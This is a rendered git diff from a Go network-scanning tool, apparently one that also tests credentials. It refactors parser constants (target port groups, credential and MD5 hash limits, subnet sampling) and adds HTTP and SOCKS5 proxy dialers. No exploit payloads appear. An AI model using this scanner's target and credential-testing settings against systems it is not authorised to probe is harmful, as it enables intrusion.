UniqueUsernames int `json:"unique_usernames"` UniqueUsernames int `json:"unique_usernames"`
UniquePasswords int `json:"unique_passwords"` UniquePasswords int `json:"unique_passwords"`
ValidHashes int `json:"valid_hashes"` ValidHashes int `json:"valid_hashes"`
InvalidHashes int `json:"invalid_hashes"` InvalidHashes int `json:"invalid_hashes"`
} }
// NetworkConfig 网络配置 // NetworkConfig 网络配置
type NetworkConfig struct { type NetworkConfig struct {
HttpProxy string `json:"http_proxy"` HttpProxy string `json:"http_proxy"`
Socks5Proxy string `json:"socks5_proxy"` Socks5Proxy string `json:"socks5_proxy"`
Timeout time.Duration `json:"timeout"` Timeout time.Duration `json:"timeout"`
WebTimeout time.Duration `json:"web_timeout"` WebTimeout time.Duration `json:"web_timeout"`
DisablePing bool `json:"disable_ping"` DisablePing bool `json:"disable_ping"`
EnableDNSLog bool `json:"enable_dns_log"` EnableDNSLog bool `json:"enable_dns_log"`
UserAgent string `json:"user_agent"` UserAgent string `json:"user_agent"`
Cookie string `json:"cookie"` Cookie string `json:"cookie"`
} }
// ValidationConfig 验证配置 // ValidationConfig 验证配置
@ -87,40 +89,32 @@ type ParseResult struct {
// 预定义错误类型 // 预定义错误类型
var ( var (
ErrEmptyInput = errors.New("输入参数为空") ErrEmptyInput = errors.New(i18n.GetText("parser_empty_input"))
ErrInvalidFormat = errors.New("格式无效")
ErrFileNotFound = errors.New("文件未找到")
ErrConflictingParams = errors.New("参数冲突")
ErrInvalidProxy = errors.New("代理配置无效")
ErrInvalidHash = errors.New("哈希值无效")
ErrInvalidPort = errors.New("端口号无效")
ErrInvalidIP = errors.New("IP地址无效")
ErrInvalidURL = errors.New("URL格式无效")
) )
// ParserOptions 解析器选项 // ParserOptions 解析器选项
type ParserOptions struct { type ParserOptions struct {
EnableConcurrency bool // 启用并发解析 EnableConcurrency bool // 启用并发解析
MaxWorkers int // 最大工作协程数 MaxWorkers int // 最大工作协程数
Timeout time.Duration // 解析超时时间 Timeout time.Duration // 解析超时时间
EnableValidation bool // 启用详细验证 EnableValidation bool // 启用详细验证
EnableStatistics bool // 启用统计信息 EnableStatistics bool // 启用统计信息
IgnoreErrors bool // 忽略非致命错误 IgnoreErrors bool // 忽略非致命错误
FileMaxSize int64 // 文件最大大小限制 FileMaxSize int64 // 文件最大大小限制
MaxTargets int // 最大目标数量限制 MaxTargets int // 最大目标数量限制
} }
// DefaultParserOptions 返回默认解析器选项 // DefaultParserOptions 返回默认解析器选项
func DefaultParserOptions() *ParserOptions { func DefaultParserOptions() *ParserOptions {
return &ParserOptions{ return &ParserOptions{
EnableConcurrency: true, EnableConcurrency: DefaultEnableConcurrency,
MaxWorkers: 4, MaxWorkers: DefaultMaxWorkers,
Timeout: 30 * time.Second, Timeout: DefaultTimeout,
EnableValidation: true, EnableValidation: DefaultEnableValidation,
EnableStatistics: true, EnableStatistics: DefaultEnableStatistics,
IgnoreErrors: false, IgnoreErrors: DefaultIgnoreErrors,
FileMaxSize: 100 * 1024 * 1024, // 100MB FileMaxSize: DefaultFileMaxSize,
MaxTargets: 10000, // 10K targets MaxTargets: DefaultMaxTargets,
} }
} }
@ -166,4 +160,4 @@ func NewParseError(errType, message, source string, line int, original error) *P
Line: line, Line: line,
Original: original, Original: original,
} }
} }

View File

@ -8,7 +8,7 @@ import (
// ValidationParser 参数验证解析器 // ValidationParser 参数验证解析器
type ValidationParser struct { type ValidationParser struct {
mu sync.RWMutex mu sync.RWMutex //nolint:unused // reserved for future thread safety
options *ValidationParserOptions options *ValidationParserOptions
} }
@ -25,12 +25,12 @@ type ValidationParserOptions struct {
// DefaultValidationParserOptions 默认验证解析器选项 // DefaultValidationParserOptions 默认验证解析器选项
func DefaultValidationParserOptions() *ValidationParserOptions { func DefaultValidationParserOptions() *ValidationParserOptions {
return &ValidationParserOptions{ return &ValidationParserOptions{
StrictMode: false, StrictMode: DefaultStrictMode,
AllowEmpty: true, AllowEmpty: DefaultAllowEmpty,
CheckConflicts: true, CheckConflicts: DefaultCheckConflicts,
ValidateTargets: true, ValidateTargets: DefaultValidateTargets,
ValidateNetwork: true, ValidateNetwork: DefaultValidateNetwork,
MaxErrorCount: 100, MaxErrorCount: DefaultMaxErrorCount,
} }
} }
@ -88,7 +88,7 @@ type ValidationRule struct {
// Parse 执行参数验证 // Parse 执行参数验证
func (vp *ValidationParser) Parse(input *ValidationInput, config *ParsedConfig, options *ParserOptions) (*ParseResult, error) { func (vp *ValidationParser) Parse(input *ValidationInput, config *ParsedConfig, options *ParserOptions) (*ParseResult, error) {
if input == nil { if input == nil {
return nil, NewParseError("INPUT_ERROR", "验证输入为空", "", 0, ErrEmptyInput) return nil, NewParseError(ErrorTypeInputError, "验证输入为空", "", 0, ErrEmptyInput)
} }
startTime := time.Now() startTime := time.Now()
@ -248,22 +248,22 @@ func (vp *ValidationParser) checkPerformance(input *ValidationInput, config *Par
// 检查目标数量 // 检查目标数量
if config.Targets != nil { if config.Targets != nil {
totalTargets := len(config.Targets.Hosts) * len(config.Targets.Ports) totalTargets := len(config.Targets.Hosts) * len(config.Targets.Ports)
if totalTargets > 100000 { if totalTargets > MaxTargetsThreshold {
warnings = append(warnings, fmt.Sprintf("大量目标(%d),可能耗时较长", totalTargets)) warnings = append(warnings, fmt.Sprintf("大量目标(%d),可能耗时较长", totalTargets))
} }
// 检查端口范围 // 检查端口范围
if len(config.Targets.Ports) > 1000 { if len(config.Targets.Ports) > DefaultMaxPortRange {
warnings = append(warnings, "端口数量过多") warnings = append(warnings, "端口数量过多")
} }
} }
// 检查超时配置 // 检查超时配置
if config.Network != nil { if config.Network != nil {
if config.Network.Timeout < 1*time.Second { if config.Network.Timeout < MinTimeoutThreshold {
warnings = append(warnings, "超时过短") warnings = append(warnings, "超时过短")
} }
if config.Network.Timeout > 60*time.Second { if config.Network.Timeout > MaxTimeoutThreshold {
warnings = append(warnings, "超时过长") warnings = append(warnings, "超时过长")
} }
} }
@ -286,18 +286,6 @@ func (vp *ValidationParser) validateScanMode(scanMode string) error {
} }
// Validate 验证解析结果 // =============================================================================================
func (vp *ValidationParser) Validate() error { // 已删除的死代码未使用Validate 和 GetStatistics 方法
return nil // =============================================================================================
}
// GetStatistics 获取解析统计
func (vp *ValidationParser) GetStatistics() interface{} {
vp.mu.RLock()
defer vp.mu.RUnlock()
return map[string]interface{}{
"parser_type": "validation",
"options": vp.options,
}
}

280
Common/parsers/constants.go Normal file
View File

@ -0,0 +1,280 @@
package parsers
import (
"regexp"
"time"
)
/*
constants.go - 解析器系统常量定义
统一管理common/parsers包中的所有常量便于查看和编辑
*/
// =============================================================================
// 默认解析器选项常量 (从Types.go迁移)
// =============================================================================
const (
// 解析器默认配置
DefaultEnableConcurrency = true
DefaultMaxWorkers = 4
DefaultTimeout = 30 * time.Second
DefaultEnableValidation = true
DefaultEnableStatistics = true
DefaultIgnoreErrors = false
DefaultFileMaxSize = 100 * 1024 * 1024 // 100MB
DefaultMaxTargets = 10000 // 10K targets
)
// =============================================================================
// 文件读取器常量 (从FileReader.go迁移)
// =============================================================================
const (
// 文件读取器默认配置
DefaultMaxCacheSize = 10
DefaultEnableCache = true
DefaultFileReaderMaxFileSize = 50 * 1024 * 1024 // 50MB
DefaultFileReaderTimeout = 30 * time.Second
DefaultFileReaderEnableValidation = true
DefaultTrimSpace = true
DefaultSkipEmpty = true
DefaultSkipComments = true
// 文件内容验证
MaxLineLength = 1000 // 单行最大字符数
MaxValidRune = 32 // 最小有效字符ASCII值
TabRune = 9 // Tab字符
NewlineRune = 10 // 换行符
CarriageReturnRune = 13 // 回车符
CommentPrefix = "#" // 注释前缀
)
// =============================================================================
// 凭据解析器常量 (从CredentialParser.go迁移)
// =============================================================================
const (
// 凭据验证限制
DefaultMaxUsernameLength = 64
DefaultMaxPasswordLength = 128
DefaultAllowEmptyPasswords = true
DefaultValidateHashes = true
DefaultDeduplicateUsers = true
DefaultDeduplicatePasswords = true
DefaultCredentialsEnableStatistics = true
// 哈希验证
HashRegexPattern = `^[a-fA-F0-9]{32}$` // MD5哈希正则表达式
HashValidationLength = 32 // 有效哈希长度
InvalidUsernameChars = "\r\n\t" // 无效用户名字符
)
// =============================================================================
// 网络解析器常量 (从NetworkParser.go迁移)
// =============================================================================
const (
// 网络配置默认值
DefaultValidateProxies = true
DefaultAllowInsecure = false
DefaultNetworkTimeout = 30 * time.Second
DefaultWebTimeout = 10 * time.Second
DefaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
// 超时限制
MaxTimeoutSeconds = 300 // 最大超时5分钟
MaxWebTimeoutSeconds = 120 // 最大Web超时2分钟
// 字符串长度限制
MaxUserAgentLength = 512 // 最大用户代理长度
MaxCookieLength = 4096 // 最大Cookie长度
// 代理快捷配置
ProxyShortcut1 = "1"
ProxyShortcut2 = "2"
ProxyShortcutHTTP = "http://127.0.0.1:8080"
ProxyShortcutSOCKS5 = "socks5://127.0.0.1:1080"
// 协议支持
ProtocolHTTP = "http"
ProtocolHTTPS = "https"
ProtocolSOCKS5 = "socks5"
ProtocolPrefix = "://"
SOCKS5Prefix = "socks5://"
HTTPPrefix = "http://"
// 端口范围
MinPort = 1
MaxPort = 65535
// 无效字符集
InvalidUserAgentChars = "\r\n\t"
)
// GetCommonBrowsers 获取常见浏览器标识列表
func GetCommonBrowsers() []string {
return []string{
"Mozilla", "Chrome", "Safari", "Firefox", "Edge", "Opera",
"AppleWebKit", "Gecko", "Trident", "Presto",
}
}
// =============================================================================
// 目标解析器常量 (从TargetParser.go迁移)
// =============================================================================
const (
// 目标解析器默认配置
DefaultTargetMaxTargets = 10000
DefaultMaxPortRange = 1000
DefaultAllowPrivateIPs = true
DefaultAllowLoopback = true
DefaultValidateURLs = true
DefaultResolveDomains = false
DefaultTargetEnableStatistics = true
DefaultPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
// 正则表达式模式
IPv4RegexPattern = `^(\d{1,3}\.){3}\d{1,3}$`
PortRangeRegexPattern = `^(\d+)(-(\d+))?$`
URLValidationRegexPattern = `^https?://[^\s/$.?#].[^\s]*$`
DomainRegexPattern = `^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$`
CookieRegexPattern = `^[^=;\s]+(=[^;\s]*)?(\s*;\s*[^=;\s]+(=[^;\s]*)?)*$`
// IP地址限制
MaxIPv4OctetValue = 255
IPv4OctetCount = 4
MaxDomainLength = 253
// CIDR网段简写
PrivateNetwork192 = "192"
PrivateNetwork172 = "172"
PrivateNetwork10 = "10"
PrivateNetwork192CIDR = "192.168.0.0/16"
PrivateNetwork172CIDR = "172.16.0.0/12"
PrivateNetwork10CIDR = "10.0.0.0/8"
// 私有网络范围
Private172StartSecondOctet = 16
Private172EndSecondOctet = 31
Private192SecondOctet = 168
// /8网段采样配置
Subnet8SamplingStep = 32
Subnet8ThirdOctetStep = 10
// IP地址计算位移
IPFirstOctetShift = 24
IPSecondOctetShift = 16
IPThirdOctetShift = 8
IPOctetMask = 0xFF
)
// GetCommonSecondOctets 获取常用第二段IP
func GetCommonSecondOctets() []int {
return []int{0, 1, 2, 10, 100, 200, 254}
}
// =============================================================================
// 简化解析器常量 (从Simple.go迁移)
// =============================================================================
const (
// 端口和主机限制
SimpleMaxHosts = 10000
SimpleMaxPortRange = 5000
// 网段简写展开
DefaultGatewayLastOctet = 1
RouterSwitchLastOctet = 254
SamplingMinHost = 2
SamplingMaxHost = 253
)
// GetPortGroups 获取预定义端口组映射
func GetPortGroups() map[string]string {
return map[string]string{
"web": "80,81,82,83,84,85,86,87,88,89,90,443,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8443,9000,9001,9002,9080,9090",
"main": "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616",
"database": "1433,1521,3306,5432,6379,11211,27017",
"common": "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986",
}
}
// GetTargetPortGroups 获取目标解析器端口组映射
func GetTargetPortGroups() map[string]string {
return map[string]string{
"service": "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613",
"db": "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616",
"web": "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018",
"all": "1-65535",
"main": "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616",
}
}
// =============================================================================
// 验证解析器常量 (从ValidationParser.go迁移)
// =============================================================================
const (
// 验证解析器默认配置
DefaultMaxErrorCount = 100
DefaultStrictMode = false
DefaultAllowEmpty = true
DefaultCheckConflicts = true
DefaultValidateTargets = true
DefaultValidateNetwork = true
// 性能警告阈值
MaxTargetsThreshold = 100000 // 最大目标数量阈值
MinTimeoutThreshold = 1 * time.Second // 最小超时阈值
MaxTimeoutThreshold = 60 * time.Second // 最大超时阈值
)
// =============================================================================
// 错误类型常量
// =============================================================================
const (
// 解析错误类型
ErrorTypeInputError = "INPUT_ERROR"
ErrorTypeFileError = "FILE_ERROR"
ErrorTypeTimeout = "TIMEOUT"
ErrorTypeReadError = "READ_ERROR"
ErrorTypeUsernameError = "USERNAME_ERROR"
ErrorTypePasswordError = "PASSWORD_ERROR"
ErrorTypeHashError = "HASH_ERROR"
ErrorTypeProxyError = "PROXY_ERROR"
ErrorTypeUserAgentError = "USERAGENT_ERROR"
ErrorTypeCookieError = "COOKIE_ERROR"
ErrorTypeHostError = "HOST_ERROR"
ErrorTypePortError = "PORT_ERROR"
ErrorTypeExcludePortError = "EXCLUDE_PORT_ERROR"
)
// =============================================================================
// 编译时正则表达式
// =============================================================================
var (
// 预编译的正则表达式,提高性能
CompiledHashRegex *regexp.Regexp
CompiledIPv4Regex *regexp.Regexp
CompiledPortRegex *regexp.Regexp
CompiledURLRegex *regexp.Regexp
CompiledDomainRegex *regexp.Regexp
CompiledCookieRegex *regexp.Regexp
)
// 在包初始化时编译正则表达式
func init() {
CompiledHashRegex = regexp.MustCompile(HashRegexPattern)
CompiledIPv4Regex = regexp.MustCompile(IPv4RegexPattern)
CompiledPortRegex = regexp.MustCompile(PortRangeRegexPattern)
CompiledURLRegex = regexp.MustCompile(URLValidationRegexPattern)
CompiledDomainRegex = regexp.MustCompile(DomainRegexPattern)
CompiledCookieRegex = regexp.MustCompile(CookieRegexPattern)
}

14
Common/proxy/Factory.go Normal file
View File

@ -0,0 +1,14 @@
package proxy
// 已清理未使用的导入
// =============================================================================================
// 已删除的死代码(未使用):
// - ParseProxyURL: 解析代理URL
// - CreateProxyManager: 创建代理管理器
// - ValidateProxyConfig: 验证代理配置
// - GetProxyTypeFromString: 从字符串获取代理类型
// - BuildProxyURL: 构建代理URL
// - IsProxyEnabled: 检查是否启用了代理
// - GetDefaultProxyConfigForType: 获取指定类型的默认配置
// =============================================================================================

22
Common/proxy/Global.go Normal file
View File

@ -0,0 +1,22 @@
package proxy
// 已清理未使用的导入和全局变量
// =============================================================================================
// 已删除的死代码(未使用):
// - globalManager: 全局代理管理器变量
// - globalMutex: 全局互斥锁
// - once: 全局初始化once变量
// - InitGlobalProxy: 初始化全局代理管理器
// - GetGlobalProxy: 获取全局代理管理器
// - UpdateGlobalProxyConfig: 更新全局代理配置
// - CloseGlobalProxy: 关闭全局代理管理器
// - GetGlobalProxyStats: 获取全局代理统计信息
// - DialWithProxy: 使用全局代理拨号
// - DialContextWithProxy: 使用全局代理和上下文拨号
// - DialTLSWithProxy: 使用全局代理建立TLS连接
// - DialTLSContextWithProxy: 使用全局代理和上下文建立TLS连接
// - IsProxyEnabledGlobally: 检查全局是否启用了代理
// - GetGlobalProxyType: 获取全局代理类型
// - GetGlobalProxyAddress: 获取全局代理地址
// =============================================================================================

112
Common/proxy/HTTPDialer.go Normal file
View File

@ -0,0 +1,112 @@
package proxy
import (
"bufio"
"context"
"encoding/base64"
"fmt"
"net"
"net/http"
"sync/atomic"
"time"
)
// httpDialer HTTP代理拨号器
type httpDialer struct {
config *ProxyConfig
stats *ProxyStats
baseDial *net.Dialer
}
func (h *httpDialer) Dial(network, address string) (net.Conn, error) {
return h.DialContext(context.Background(), network, address)
}
func (h *httpDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
start := time.Now()
atomic.AddInt64(&h.stats.TotalConnections, 1)
// 连接到HTTP代理服务器
proxyConn, err := h.baseDial.DialContext(ctx, NetworkTCP, h.config.Address)
if err != nil {
atomic.AddInt64(&h.stats.FailedConnections, 1)
h.stats.LastError = err.Error()
return nil, NewProxyError(ErrTypeConnection, ErrMsgHTTPConnFailed, ErrCodeHTTPConnFailed, err)
}
// 发送CONNECT请求
if err := h.sendConnectRequest(proxyConn, address); err != nil {
proxyConn.Close()
atomic.AddInt64(&h.stats.FailedConnections, 1)
h.stats.LastError = err.Error()
return nil, err
}
duration := time.Since(start)
h.stats.LastConnectTime = start
atomic.AddInt64(&h.stats.ActiveConnections, 1)
h.updateAverageConnectTime(duration)
return &trackedConn{
Conn: proxyConn,
stats: h.stats,
}, nil
}
// sendConnectRequest 发送HTTP CONNECT请求
func (h *httpDialer) sendConnectRequest(conn net.Conn, address string) error {
// 构建CONNECT请求
req := fmt.Sprintf(HTTPConnectRequestFormat, address, address)
// 添加认证头
if h.config.Username != "" {
auth := base64.StdEncoding.EncodeToString(
[]byte(h.config.Username + AuthSeparator + h.config.Password))
req += fmt.Sprintf(HTTPAuthHeaderFormat, auth)
}
req += HTTPRequestEndFormat
// 设置写超时
if err := conn.SetWriteDeadline(time.Now().Add(h.config.Timeout)); err != nil {
return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetWriteTimeout, ErrCodeHTTPSetWriteTimeout, err)
}
// 发送请求
if _, err := conn.Write([]byte(req)); err != nil {
return NewProxyError(ErrTypeConnection, ErrMsgHTTPSendConnectFail, ErrCodeHTTPSendConnectFail, err)
}
// 设置读超时
if err := conn.SetReadDeadline(time.Now().Add(h.config.Timeout)); err != nil {
return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetReadTimeout, ErrCodeHTTPSetReadTimeout, err)
}
// 读取响应
resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
if err != nil {
return NewProxyError(ErrTypeProtocol, ErrMsgHTTPReadRespFailed, ErrCodeHTTPReadRespFailed, err)
}
defer resp.Body.Close()
// 检查响应状态
if resp.StatusCode != HTTPStatusOK {
return NewProxyError(ErrTypeAuth,
fmt.Sprintf(ErrMsgHTTPProxyAuthFailed, resp.StatusCode), ErrCodeHTTPProxyAuthFailed, nil)
}
// 清除deadline
conn.SetDeadline(time.Time{})
return nil
}
// updateAverageConnectTime 更新平均连接时间
func (h *httpDialer) updateAverageConnectTime(duration time.Duration) {
// 简单的移动平均
if h.stats.AverageConnectTime == 0 {
h.stats.AverageConnectTime = duration
} else {
h.stats.AverageConnectTime = (h.stats.AverageConnectTime + duration) / 2
}
}

337
Common/proxy/Manager.go Normal file
View File

@ -0,0 +1,337 @@
package proxy
import (
"context"
"fmt"
"net"
"net/url"
"sync"
"sync/atomic"
"time"
"golang.org/x/net/proxy"
)
// manager 代理管理器实现
type manager struct {
config *ProxyConfig
stats *ProxyStats
mu sync.RWMutex
// 连接池
dialerCache map[string]Dialer
cacheExpiry time.Time
cacheMu sync.RWMutex
}
// NewProxyManager 创建新的代理管理器
func NewProxyManager(config *ProxyConfig) ProxyManager {
if config == nil {
config = DefaultProxyConfig()
}
return &manager{
config: config,
stats: &ProxyStats{
ProxyType: config.Type.String(),
ProxyAddress: config.Address,
},
dialerCache: make(map[string]Dialer),
cacheExpiry: time.Now().Add(DefaultCacheExpiry),
}
}
// GetDialer 获取普通拨号器
func (m *manager) GetDialer() (Dialer, error) {
m.mu.RLock()
config := m.config
m.mu.RUnlock()
switch config.Type {
case ProxyTypeNone:
return m.createDirectDialer(), nil
case ProxyTypeSOCKS5:
return m.createSOCKS5Dialer()
case ProxyTypeHTTP, ProxyTypeHTTPS:
return m.createHTTPDialer()
default:
return nil, NewProxyError(ErrTypeConfig, ErrMsgUnsupportedProxyType, ErrCodeUnsupportedProxyType, nil)
}
}
// GetTLSDialer 获取TLS拨号器
func (m *manager) GetTLSDialer() (TLSDialer, error) {
dialer, err := m.GetDialer()
if err != nil {
return nil, err
}
return &tlsDialerWrapper{
dialer: dialer,
config: m.config,
stats: m.stats,
}, nil
}
// UpdateConfig 更新配置
func (m *manager) UpdateConfig(config *ProxyConfig) error {
if config == nil {
return NewProxyError(ErrTypeConfig, ErrMsgEmptyConfig, ErrCodeEmptyConfig, nil)
}
m.mu.Lock()
defer m.mu.Unlock()
m.config = config
m.stats.ProxyType = config.Type.String()
m.stats.ProxyAddress = config.Address
// 清理缓存
m.cacheMu.Lock()
m.dialerCache = make(map[string]Dialer)
m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
m.cacheMu.Unlock()
return nil
}
// Close 关闭管理器
func (m *manager) Close() error {
m.cacheMu.Lock()
defer m.cacheMu.Unlock()
m.dialerCache = make(map[string]Dialer)
return nil
}
// Stats 获取统计信息
func (m *manager) Stats() *ProxyStats {
m.mu.RLock()
defer m.mu.RUnlock()
// 返回副本以避免并发问题
statsCopy := *m.stats
return &statsCopy
}
// createDirectDialer 创建直连拨号器
func (m *manager) createDirectDialer() Dialer {
return &directDialer{
timeout: m.config.Timeout,
stats: m.stats,
}
}
// createSOCKS5Dialer 创建SOCKS5拨号器
func (m *manager) createSOCKS5Dialer() (Dialer, error) {
// 检查缓存
cacheKey := fmt.Sprintf(CacheKeySOCKS5, m.config.Address)
m.cacheMu.RLock()
if time.Now().Before(m.cacheExpiry) {
if cached, exists := m.dialerCache[cacheKey]; exists {
m.cacheMu.RUnlock()
return cached, nil
}
}
m.cacheMu.RUnlock()
// 解析代理地址
proxyURL := fmt.Sprintf(SOCKS5URLFormat, m.config.Address)
if m.config.Username != "" {
proxyURL = fmt.Sprintf(SOCKS5URLAuthFormat,
m.config.Username, m.config.Password, m.config.Address)
}
u, err := url.Parse(proxyURL)
if err != nil {
return nil, NewProxyError(ErrTypeConfig, ErrMsgSOCKS5ParseFailed, ErrCodeSOCKS5ParseFailed, err)
}
// 创建基础拨号器
baseDial := &net.Dialer{
Timeout: m.config.Timeout,
KeepAlive: m.config.KeepAlive,
}
// 创建SOCKS5拨号器
var auth *proxy.Auth
if u.User != nil {
auth = &proxy.Auth{
User: u.User.Username(),
}
if password, hasPassword := u.User.Password(); hasPassword {
auth.Password = password
}
}
socksDialer, err := proxy.SOCKS5(NetworkTCP, u.Host, auth, baseDial)
if err != nil {
return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5CreateFailed, ErrCodeSOCKS5CreateFailed, err)
}
dialer := &socks5Dialer{
dialer: socksDialer,
config: m.config,
stats: m.stats,
}
// 更新缓存
m.cacheMu.Lock()
m.dialerCache[cacheKey] = dialer
m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
m.cacheMu.Unlock()
return dialer, nil
}
// createHTTPDialer 创建HTTP代理拨号器
func (m *manager) createHTTPDialer() (Dialer, error) {
// 检查缓存
cacheKey := fmt.Sprintf(CacheKeyHTTP, m.config.Address)
m.cacheMu.RLock()
if time.Now().Before(m.cacheExpiry) {
if cached, exists := m.dialerCache[cacheKey]; exists {
m.cacheMu.RUnlock()
return cached, nil
}
}
m.cacheMu.RUnlock()
dialer := &httpDialer{
config: m.config,
stats: m.stats,
baseDial: &net.Dialer{
Timeout: m.config.Timeout,
KeepAlive: m.config.KeepAlive,
},
}
// 更新缓存
m.cacheMu.Lock()
m.dialerCache[cacheKey] = dialer
m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
m.cacheMu.Unlock()
return dialer, nil
}
// directDialer 直连拨号器
type directDialer struct {
timeout time.Duration
stats *ProxyStats
}
func (d *directDialer) Dial(network, address string) (net.Conn, error) {
return d.DialContext(context.Background(), network, address)
}
func (d *directDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
start := time.Now()
atomic.AddInt64(&d.stats.TotalConnections, 1)
dialer := &net.Dialer{
Timeout: d.timeout,
}
conn, err := dialer.DialContext(ctx, network, address)
duration := time.Since(start)
d.stats.LastConnectTime = start
if err != nil {
atomic.AddInt64(&d.stats.FailedConnections, 1)
d.stats.LastError = err.Error()
return nil, NewProxyError(ErrTypeConnection, ErrMsgDirectConnFailed, ErrCodeDirectConnFailed, err)
}
atomic.AddInt64(&d.stats.ActiveConnections, 1)
d.updateAverageConnectTime(duration)
return &trackedConn{
Conn: conn,
stats: d.stats,
}, nil
}
// socks5Dialer SOCKS5拨号器
type socks5Dialer struct {
dialer proxy.Dialer
config *ProxyConfig
stats *ProxyStats
}
func (s *socks5Dialer) Dial(network, address string) (net.Conn, error) {
return s.DialContext(context.Background(), network, address)
}
func (s *socks5Dialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
start := time.Now()
atomic.AddInt64(&s.stats.TotalConnections, 1)
// 创建一个带超时的上下文
dialCtx, cancel := context.WithTimeout(ctx, s.config.Timeout)
defer cancel()
// 使用goroutine处理拨号以支持取消
connChan := make(chan struct {
conn net.Conn
err error
}, 1)
go func() {
conn, err := s.dialer.Dial(network, address)
select {
case <-dialCtx.Done():
if conn != nil {
conn.Close()
}
case connChan <- struct {
conn net.Conn
err error
}{conn, err}:
}
}()
select {
case <-dialCtx.Done():
atomic.AddInt64(&s.stats.FailedConnections, 1)
s.stats.LastError = dialCtx.Err().Error()
return nil, NewProxyError(ErrTypeTimeout, ErrMsgSOCKS5ConnTimeout, ErrCodeSOCKS5ConnTimeout, dialCtx.Err())
case result := <-connChan:
duration := time.Since(start)
s.stats.LastConnectTime = start
if result.err != nil {
atomic.AddInt64(&s.stats.FailedConnections, 1)
s.stats.LastError = result.err.Error()
return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5ConnFailed, ErrCodeSOCKS5ConnFailed, result.err)
}
atomic.AddInt64(&s.stats.ActiveConnections, 1)
s.updateAverageConnectTime(duration)
return &trackedConn{
Conn: result.conn,
stats: s.stats,
}, nil
}
}
// updateAverageConnectTime 更新平均连接时间
func (d *directDialer) updateAverageConnectTime(duration time.Duration) {
// 简单的移动平均
if d.stats.AverageConnectTime == 0 {
d.stats.AverageConnectTime = duration
} else {
d.stats.AverageConnectTime = (d.stats.AverageConnectTime + duration) / 2
}
}
func (s *socks5Dialer) updateAverageConnectTime(duration time.Duration) {
// 简单的移动平均
if s.stats.AverageConnectTime == 0 {
s.stats.AverageConnectTime = duration
} else {
s.stats.AverageConnectTime = (s.stats.AverageConnectTime + duration) / 2
}
}

157
Common/proxy/TLSDialer.go Normal file
View File

@ -0,0 +1,157 @@
package proxy
import (
"context"
"crypto/tls"
"net"
"sync/atomic"
"time"
)
// tlsDialerWrapper TLS拨号器包装器
type tlsDialerWrapper struct {
dialer Dialer
config *ProxyConfig
stats *ProxyStats
}
func (t *tlsDialerWrapper) Dial(network, address string) (net.Conn, error) {
return t.dialer.Dial(network, address)
}
func (t *tlsDialerWrapper) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
return t.dialer.DialContext(ctx, network, address)
}
func (t *tlsDialerWrapper) DialTLS(network, address string, config *tls.Config) (net.Conn, error) {
return t.DialTLSContext(context.Background(), network, address, config)
}
func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address string, tlsConfig *tls.Config) (net.Conn, error) {
start := time.Now()
// 首先建立TCP连接
tcpConn, err := t.dialer.DialContext(ctx, network, address)
if err != nil {
return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSTCPConnFailed, ErrCodeTLSTCPConnFailed, err)
}
// 创建TLS连接
tlsConn := tls.Client(tcpConn, tlsConfig)
// 设置TLS握手超时
if deadline, ok := ctx.Deadline(); ok {
tlsConn.SetDeadline(deadline)
} else {
tlsConn.SetDeadline(time.Now().Add(t.config.Timeout))
}
